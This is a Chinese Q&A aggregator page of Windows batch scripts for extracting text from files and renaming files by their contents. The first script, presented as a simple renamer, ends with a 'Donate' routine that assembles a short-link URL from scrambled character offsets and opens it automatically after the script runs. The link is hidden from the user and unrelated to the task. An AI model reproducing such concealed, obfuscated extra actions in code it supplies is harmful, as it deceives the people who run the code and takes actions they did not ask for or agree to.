Bat 批处理 提取 文本内容

作者&投稿:年盼 (若有异议请与网页底部的电邮联系)
求一个bat批处理文件,可提取txt文件内容的前几个文本作为文件名~

@echo off & title 以文本前五个字符作为文件名 By 依梦琴瑶

set "File=%~1"
if not defined File (
echo 请不要直接运行脚本,而是把需要处理的文件拖到脚本文件图标上
goto End
)

for /f "delims=" %%a in ('type "%File%"') do (
set "Str=%%~a"
goto Next
)
echo 提供的文件可能无法获取内容,或无内容
goto End

:Next
set "Str=%Str: =%"
set "Name=%Str:~0,5%"
ren "%File%" "%Name%%~x1" >nul 2>nul && (
echo "%~nx1" --^>^> "%Name%%~x1" 成功
) || (
echo "%~nx1" 重命名失败
)

:End
pause
call :Donate
exit

:Donate
set S0=fGRH
set S1=.:ailnhpst/
set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit

@echo off (findstr "流水号" 1.txt)>2.txt (for /f "tokens=4 delims= " %%a in (2.txt) do (echo %%a))>3.txt (for /f "tokens=1 delims=." %%a in (3.txt) do (echo %%a))>new.txt del /s /q "2.txt" & del /s /q "3.txt" & start "" "new.txt" exit :: 代码第二行中的 1.txt 更改为你这个文本名称 :: 将代码复制文本中, 保存为 .bat 批处理脚本格式文件运行即可 :: 运行后, 程序会退出, 随即会将数据保存在当前目录下的 new.txt 内 :: 注意的是, 将脚本程序和这个文本放在一个目录运行 :: 中国批处理脚本联盟

@echo off & setlocal enabledelayedexpansion
cd /d %~dp0
set File=File.Html

DEL *.tmp 2>nul
(for /f "delims=" %%a in ('type "%File%"') do echo %%a)>file.tmp

for %%a in (HCP X_ADDR Y_ADDR) do (
    for /f "tokens=1 delims=:" %%b in ('findstr /i /n "<td>%%a</td>" file.tmp') do (
        set /a Num+=1
        more +%%b file.tmp>file2.tmp
        set /p str=<file2.tmp
        for /f "tokens=3 delims=<>" %%i in ('echo "!str!"') do echo !Num!:%%i>>%%a.tmp
    )
    set Num=0
)

for /f "tokens=1,2* delims=:" %%a in ('type HCP.tmp') do (
    for /f "tokens=2 delims=:" %%i in ('findstr /i "^%%a:" X_ADDR.tmp') do set X_ADDR=%%i
    for /f "tokens=2 delims=:" %%i in ('findstr /i "^%%a:" Y_ADDR.tmp') do set Y_ADDR=%%i
    echo %%b !X_ADDR! !Y_ADDR!
)

DEL *.tmp 2>nul
pause



沂源县19234982312: bat -- 批处理--提取文本内容 -
裴费龙掌: @echo off&setlocal Enabledelayedexpansion if exist "b.txt" ren "b.txt" "%random%b.txt" if exist "123.txt" del /q /f /a "123.txt" echo 副本>"123.txt" set /a n=0 for /f "delims=" %%a in ('type "a.txt"') do echo %%a>>"123.txt"&set ...

沂源县19234982312: BAT批处理提取文件 -
裴费龙掌: 因为盘符不同,建议将两个文件夹都命名为A.即A文件夹为 F:\A B文件夹为 E:\A 以下代码是基于修改后的文件夹名编写的 =========================================@echo off ::设置A文件夹,因为盘符不同,建议将两个文件夹...

沂源县19234982312: bat批量提取文件里指定内容 -
裴费龙掌: @echo off & title 获取LRC文件中的歌曲信息 By 依梦琴瑶 cd /d "%~dp0" echo 正在获取中,请稍候...(for %%i in (*.lrc) do ( for /f "tokens=2* delims=[:]" %%a in ('findstr /i "\[ti:.*\]" "%%~i"') do set "ti=%%~a" for /f "tokens=2* ...

沂源县19234982312: 如何用批处理命令提取TXT文件里的内容. -
裴费龙掌: @echo off&setlocal ENABLEDELAYEDEXPANSION for /f "delims=" %%i in ('type 1.txt') do ( set a=%%i echO !a:~6,1! ) pause ::将以上保存为.bat后缀文件,在同目录下建立.txt(内容为123456789也就是你要查的.txt文件)上面的1.txt可以根...

沂源县19234982312: 用BAT批处理,提取TXT文档中制定字符 -
裴费龙掌: @Echo Off Setlocal Enabledelayedexpansion Set TxtFile=1.txt>>$ (For /f "tokens=2 delims=_" %%a in (%TxtFile%) do Echo %%a)>>New.Txt (For /f "tokens=1 delims=." %%b in ($) do echo %%b) Del $ & Cls & Exit:: 中国批处理脚本联盟:: 1.txt 为这个提取的 TXT 文件:: 运行后,会产生一个 New.txt 文件用来保存提取后的数据存放

沂源县19234982312: bat读取TXT文本中内容 -
裴费龙掌: 假设保存网页链接的文本名为a.txt@echo off echo.&echo 每隔10秒访问一个链接 for /f "tokens=*" %%a in (a.txt) do ( echo.&echo 正在访问:%%a start iexplore "%%a" ping 127.1 -n 10 >nul) echo.&echo 文本中所有链接访问完毕,按任意键退出!pause>Nul

沂源县19234982312: 批处理取文本内容 -
裴费龙掌: @echo off set file=myfile.txt for /f "tokens=2* delims=" %%a in ('findstr "" "%file%"') do set "Str=%%~a" echo %Str% pause

沂源县19234982312: 批处理怎么批量提取多个txt里的指定内容? -
裴费龙掌: 这个不用批处理也可以的.用dos命令:1. 把所有的txt放在一个文件夹.然后运行合并所有txt到一个sum文件命令:copy *.txt sum.txt 2. 然后打开sum.txt,Ctrl + H,替换<source id="source" src=" 为空. 3. Ctrl + H,替换"></source> </video>为空. 4. 即可.

沂源县19234982312: 如何用bat脚本读取一个指定文件内容,若文件内容存在,保持原样,内容不存在,则添加指定内容 -
裴费龙掌: rem t=10 设置再次运行脚本的间隔时间,单位约等于秒 @echo off set t=10 findstr 456 d:\1.txt||echo 456>>d:\1.txt ping -n %t% 127.1>nul start /min %~nx0 exit

沂源县19234982312: bat怎么提取文本中特定内容? -
裴费龙掌: @echo off type a.txt|find /i "ok" pause>nul

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 星空见康网